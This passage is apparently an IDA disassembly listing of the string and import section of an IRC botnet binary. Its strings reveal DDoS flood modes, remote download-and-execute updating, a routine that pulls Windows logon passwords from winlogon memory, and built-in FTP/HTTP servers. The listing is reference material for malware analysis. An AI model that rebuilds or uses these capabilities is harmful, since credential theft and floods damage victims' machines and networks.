DATA XREF: sub_403B6D+24o ; sub_411DD2+121o aDdosSendErrorD db '[DDoS]: Send error: <%d>.',0 ; DATA XREF: sub_4021B5+2B7o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4021B5+122o ; sub_4089DC+2288o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4021B5+108o ; sub_4089DC+2274o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4021B5+EEo ; sub_4089DC+2260o align 4 aDdosDoneWithFl db '[DDoS]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_402500+5Bo aDownloadBadUrl db '[DOWNLOAD]: Bad URL, or DNS Error: %s.',0 ; DATA XREF: sub_4025CE+4B6o align 4 aDownloadUpda_0 db '[DOWNLOAD]: Update failed: Error executing file: %s.',0 ; DATA XREF: sub_4025CE+4A8o align 10h aDownloadDown_0 db '[DOWNLOAD]: Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 ; DATA XREF: sub_4025CE+403o aDownloadExecut db '[DOWNLOAD]: Execution failed: Error executing file: %s.',0 ; DATA XREF: sub_4025CE:loc_402984o aDownloadApplic db '[DOWNLOAD]: Application succesfully executed: %s.',0 ; DATA XREF: sub_4025CE+3ACo align 4 asc_420AE8: ; DATA XREF: sub_4025CE+346o ; sub_404EE8+25Co ... unicode 0, < >,0 aDownloadOpenni db '[DOWNLOAD]: Openning: %s %s.',0 ; DATA XREF: sub_4025CE+2B4o align 4 aDownloadDownlo db '[DOWNLOAD]: Downloaded %.1f KB to %s @ %.1f KB/sec.',0 ; DATA XREF: sub_4025CE+24Eo dbl_420B40 dq 9.765625e-4 ; DATA XREF: sub_4025CE+21Dr ; sub_4025CE:loc_40280Br ... dbl_420B48 dq 4.294967296e9 ; DATA XREF: sub_4025CE+215r ; sub_4025CE+237r ... aDownloadFilesi db '[DOWNLOAD]: Filesize is incorrect: (%d != %d).',0 ; DATA XREF: sub_4025CE+195o align 10h aDownloadUpdate db '[DOWNLOAD]: Update: %s (%dKB transferred).',0 ; DATA XREF: sub_4025CE:loc_402731o align 4 aDownloadFileDo db '[DOWNLOAD]: File download: %s (%dKB transferred).',0 ; DATA XREF: sub_4025CE+15Co align 10h aDownloadCouldn db '[DOWNLOAD]: Couldn',27h,'t open file: %s.',0 ; DATA XREF: sub_4025CE+77o aUnknown db 'Unknown',0 ; DATA XREF: sub_402B74:loc_402BB7o ; sub_4071B2+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_402B74:loc_402BB1o aDisk db 'Disk',0 ; DATA XREF: sub_402B74:loc_402BABo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_402B74:loc_402BA5o aCdrom db 'Cdrom',0 ; DATA XREF: sub_402B74:loc_402B9Fo align 4 aRam db 'RAM',0 ; DATA XREF: sub_402B74:loc_402B99o a?: ; DATA XREF: sub_402B74+1Fo unicode 0, <?>,0 aFailed db 'failed',0 ; DATA XREF: sub_402C05:loc_402CDDo ; sub_402D20+2Do align 4 aSkb db '%sKB',0 ; DATA XREF: sub_402C05+6Co align 4 aMainSDriveSSTo db '[MAIN]: %s Drive (%s): %s total, %s free, %s available.',0 ; DATA XREF: sub_402D20+7Bo aMainSDriveSFai db '[MAIN]: %s Drive (%s): Failed to stat, device not ready.',0 ; DATA XREF: sub_402D20+45o align 4 aA db 'A:\',0 ; DATA XREF: sub_402DDF+39o aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_402F3D+107o align 4 aSS_0 db '%s\%s',0 ; DATA XREF: sub_402F3D+45o ; sub_40E6BB+195o align 4 aS_1 db '%s\*',0 ; DATA XREF: sub_402F3D+14o align 4 aFindfileFilesF db '[FINDFILE]: Files found: %d.',0 ; DATA XREF: sub_40308F+CFo align 4 aFindfileSearch db '[FINDFILE]: Searching for file: %s.',0 ; DATA XREF: sub_40308F+66o aMsgina db 'MSGINA',0 ; DATA XREF: sub_4031AF+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_4031AF+123o align 10h aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4031AF+B9o align 10h aFindpassTheWin db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:' ; DATA XREF: sub_4035FB+6Ao ; sub_40368D+A3o db ' \\%S, User: (%S/%S).',0 align 4 aFindpassTheW_0 db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:' ; DATA XREF: sub_40368D+C5o db ' \\%S, User: (%S/(N/A)).',0 align 4 aFindpassFailed db '[FINDPASS]: Failed to enable Debug Privilege.',0 ; DATA XREF: sub_40378E:loc_403905o align 4 aFindpassUnab_0 db '[FINDPASS]: Unable to find Winlogon Process ID.',0 ; DATA XREF: sub_40378E:loc_4038D9o aFindpassUnable db '[FINDPASS]: Unable to find the password in memory.',0 ; DATA XREF: sub_40378E:loc_4038D2o align 4 aFindpassTheW_1 db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:' ; DATA XREF: sub_40378E+116o db ' \\%S, User: (%S/(no password)).',0 align 4 aUserdomain: ; DATA XREF: sub_40378E+DBo unicode 0, <USERDOMAIN>,0 align 4 aUsername: ; DATA XREF: sub_40378E+CDo unicode 0, <USERNAME>,0 align 4 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_40378E+99o align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_40378E+8Co align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_40378E+7Fo aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_40378E+72o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_40378E+67o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_40378E+54o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_40378E+40o ; sub_40378E+160o ... align 4 aFindpassOnlySu db '[FINDPASS]: Only supported on Windows NT/2000.',0 ; DATA XREF: sub_40378E+35o align 4 a221Goodbye_ db '221 Goodbye.',0Ah,0 ; DATA XREF: sub_403BFF+542o align 4 aQuit db 'QUIT',0 ; DATA XREF: sub_403BFF+531o ; sub_4089DC+5DAo align 10h a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_403BFF+528o align 4 aFtpFileTransfe db '[FTP]: File transfer complete to IP: %s (%s).',0 ; DATA XREF: sub_403BFF+4DCo align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_403BFF+4C1o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_403BFF+491o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_403BFF:loc_404079o align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_403BFF+470o align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_403BFF+45Eo aXX db '%x%x',0Ah,0 ; DATA XREF: sub_403BFF+42Ao align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_403BFF+3ECo db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_403BFF:loc_403FB5o align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_403BFF+38Eo align 4 aList db 'LIST',0 ; DATA XREF: sub_403BFF:loc_403F7Bo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_403BFF+350o align 10h aPasv db 'PASV',0 ; DATA XREF: sub_403BFF:loc_403F3Co align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_403BFF+333o aI: ; DATA XREF: sub_403BFF+31Eo unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_403BFF+302o aA_0: ; DATA XREF: sub_403BFF+2EDo unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_403BFF:loc_403ED8o align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_403BFF+2CFo align 10h off_4211C0 dd offset dword_445750 ; DATA XREF: sub_403BFF+2BDo a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_403BFF+2B1o align 4 aRest db 'REST',0 ; DATA XREF: sub_403BFF:loc_403E9Do align 10h a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_403BFF+294o align 10h aSyst db 'SYST',0 ; DATA XREF: sub_403BFF:loc_403E80o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_403BFF+277o align 10h aPass db 'PASS',0 ; DATA XREF: sub_403BFF:loc_403E63o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_403BFF+25Ao align 10h aUser_0 db 'USER',0 ; DATA XREF: sub_403BFF+247o align 4 aSS_1 db '%s %s',0 ; DATA XREF: sub_403BFF+236o align 10h a220Winftpd1_2 db '220 WinFtpd 1.2',0Ah,0 ; DATA XREF: sub_403BFF+1BAo align 4 aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_4041A6+6BBo align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4041A6+6A6o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_4041A6+68Bo align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4041A6+5F1o align 8 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4041A6+5C9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4041A6:loc_404727o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4041A6+57Ao align 4 aSS db '%s%s',0 ; DATA XREF: sub_4041A6+523o ; sub_404C2E+E6o ... align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4041A6+4C5o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4041A6+484o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4041A6+451o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4041A6:loc_4045B9o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4041A6+40Co align 4 aSS_2 db '%s%s/',0 ; DATA XREF: sub_4041A6+3B5o align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4041A6+36Co ; sub_4041A6+4DAo db '<TD WIDTH="%d"><A HREF="',0 align 10h aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4041A6+33Bo align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_4041A6+311o ; sub_4041A6+463o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4041A6+2E5o aAm db 'AM',0 ; DATA XREF: sub_4041A6+2C4o ; .data:0042E1B0o align 4 aPm db 'PM',0 ; DATA XREF: sub_4041A6+2B9o ; .data:0042E1B4o align 4 a__0: ; DATA XREF: sub_4041A6+27Co unicode 0, <.>,0 a__ db '..',0 ; DATA XREF: sub_4041A6+264o align 8 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4041A6+1F0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4041A6+15Co aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4041A6+144o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4041A6+107o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4041A6+B4o db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4041A6+75o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4041A6+3Fo asc_4216D8: ; DATA XREF: sub_4041A6+1Eo ; sub_404C2E+F7o ... dw 0Ah unicode 0, <>,0 aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_404999+8Ao db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 align 8 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404AC0+E4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404AC0+CAo db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_404AC0+94o ; sub_4116D2+17Do ... align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_404AC0+7Bo align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_404AC0:loc_404B28o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_404AC0+61o align 4 aHttpdFailedT_0 db '[HTTPD]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: sub_404C2E+287o align 4 aHttpdWorkerThr db '[HTTPD]: Worker thread of server thread: %d.',0 ; DATA XREF: sub_404C2E+213o align 4 asc_421994: ; DATA XREF: sub_404C2E+16Eo unicode 0, <*>,0 aS_2 db '%s',0 ; DATA XREF: sub_404C2E+31o ; sub_4056BF+44o ... align 4 aS_8 db '\%s',0 ; DATA XREF: sub_404C2E+27o aHttpdErrorServ db '[HTTPD]: Error: server failed, returned: <%d>.',0 ; DATA XREF: sub_404EE8+3E0o align 10h asc_4219D0 db 0Dh,0Ah,0 ; DATA XREF: sub_404EE8+296o align 4 aGet db 'GET ',0 ; DATA XREF: sub_404EE8+22Do align 10h aIcmpErrorSendi db '[ICMP]: Error sending packets to IP: %s. Packets sent: %d. Return' ; DATA XREF: sub_40532B+2F2o db 'ed: <%d>.',0 align 10h aIcmpDoneWithSF db '[ICMP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/s' ; DATA XREF: sub_40532B+288o db 'ec (%dMB).',0 aIcmpInvalidTar db '[ICMP]: Invalid target IP.',0 ; DATA XREF: sub_40532B+B6o align 4 aIcmpErrorSetso db '[ICMP]: Error: setsockopt() failed, returned: <%d>.',0 ; DATA XREF: sub_40532B+8Eo aIcmpErrorSocke db '[ICMP]: Error: socket() failed, returned: <%d>.',0 ; DATA XREF: sub_40532B+49o aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4056BF+69o aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_4056BF+16o ; sub_4089DC+700o aNotice db 'NOTICE',0 ; DATA XREF: sub_4056BF+Fo ; sub_4089DC+70Eo align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_405770+B8Co align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_405770+B7Fo align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_405770+B72o align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_405770+B65o align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_405770+B58o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_405770+B50o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_405770:loc_4062B3o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_405770+B0Eo align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_405770+B06o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_405770:loc_406269o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_405770+AB4o align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_405770+AA7o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_405770+A9Ao aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_405770+A92o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_405770:loc_4061F5o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_405770+A50o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_405770+A48o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_405770:loc_4061ABo align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_405770+A06o align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_405770+9FEo align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_405770:loc_406161o align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_405770+974o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_405770+967o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_405770+95Ao aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_405770+94Do align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_405770+940o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_405770+933o align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_405770+926o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_405770+919o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_405770+90Co align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_405770+8FFo aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_405770+8F7o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_405770:loc_406056o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_405770+8A9o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_405770+89Co aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_405770+894o align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_405770:loc_405FF7o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_405770+85Ao align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_405770+7E8o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_405770+7DBo align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_405770+7CEo align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_405770+7C1o align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_405770+7B4o align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_405770+7A7o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_405770+79Ao align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_405770+78Do align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_405770+780o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_405770+778o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_405770:loc_405ED7o aClosesocket db 'closesocket',0 ; DATA XREF: sub_405770+62Eo aGetpeername db 'getpeername',0 ; DATA XREF: sub_405770+621o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_405770+614o align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_405770+607o align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_405770+5FAo aGetsockname db 'getsockname',0 ; DATA XREF: sub_405770+5EDo aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_405770+5E0o align 4 aAccept db 'accept',0 ; DATA XREF: sub_405770+5D3o align 4 aListen db 'listen',0 ; DATA XREF: sub_405770+5C6o align 4 aSelect db 'select',0 ; DATA XREF: sub_405770+5B9o align 4 aBind db 'bind',0 ; DATA XREF: sub_405770+5B1o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_405770+59Fo align 4 aRecv db 'recv',0 ; DATA XREF: sub_405770+592o align 10h aSendto db 'sendto',0 ; DATA XREF: sub_405770+585o align 4 aSend db 'send',0 ; DATA XREF: sub_405770+578o ; sub_4089DC+1DE4o align 10h aNtohl db 'ntohl',0 ; DATA XREF: sub_405770+56Bo align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_405770+55Eo align 10h aHtonl db 'htonl',0 ; DATA XREF: sub_405770+551o align 4 aHtons db 'htons',0 ; DATA XREF: sub_405770+544o align 10h aInet_addr db 'inet_addr',0 ; DATA XREF: sub_405770+537o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_405770+52Ao align 4 aConnect db 'connect',0 ; DATA XREF: sub_405770+51Do aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_405770+510o aSocket db 'socket',0 ; DATA XREF: sub_405770+503o align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_405770+4F6o align 10h aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_405770+4E9o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_405770+4DCo align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_405770+4CFo align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_405770+4C2o align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_405770+4B5o align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_405770+4ADo align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_405770+49Co align 10h aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_405770+429o align 10h aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_405770+41Co align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_405770+40Fo align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_405770+402o align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_405770+3F5o align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_405770+3E8o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_405770+3DBo align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_405770+3CEo align 10h aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_405770+3C6o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_405770:loc_405B25o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_405770:loc_405AFDo align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_405770+335o align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_405770+328o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_405770+31Bo align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_405770+30Eo align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_405770+301o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_405770+2F4o align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_405770+2E7o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_405770:loc_405A4Fo align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_405770+2AFo align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_405770+2A2o align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_405770:loc_405A0Ao align 10h aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_405770+252o aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_405770+245o aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_405770+238o align 10h aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_405770+22Bo align 10h aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_405770+21Eo aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_405770+216o align 10h aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_405770:loc_405975o align 10h aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_405770+1A0o align 10h aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_405770+193o align 10h aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_405770+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_405770+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_405770+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_405770+15Fo align 10h aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_405770+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_405770+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_405770:loc_4058A5o ; sub_41E283+13o align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_405770:loc_405878o align 10h aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_405770+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_405770+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_405770+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_405770+79o align 10h aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_405770+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_405770+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_405770+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_405770+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_405770+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_405770+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_405770+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_405770+Ao ; sub_41CFB8+1Eo align 4 aMainDllTestCom db '[MAIN]: DLL test complete.',0 ; DATA XREF: sub_406359+2BEo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_406359+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_406359+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_406359+230o align 10h aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_406359+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_406359+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_406359+194o align 10h aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_406359+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_406359+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_406359+F8o 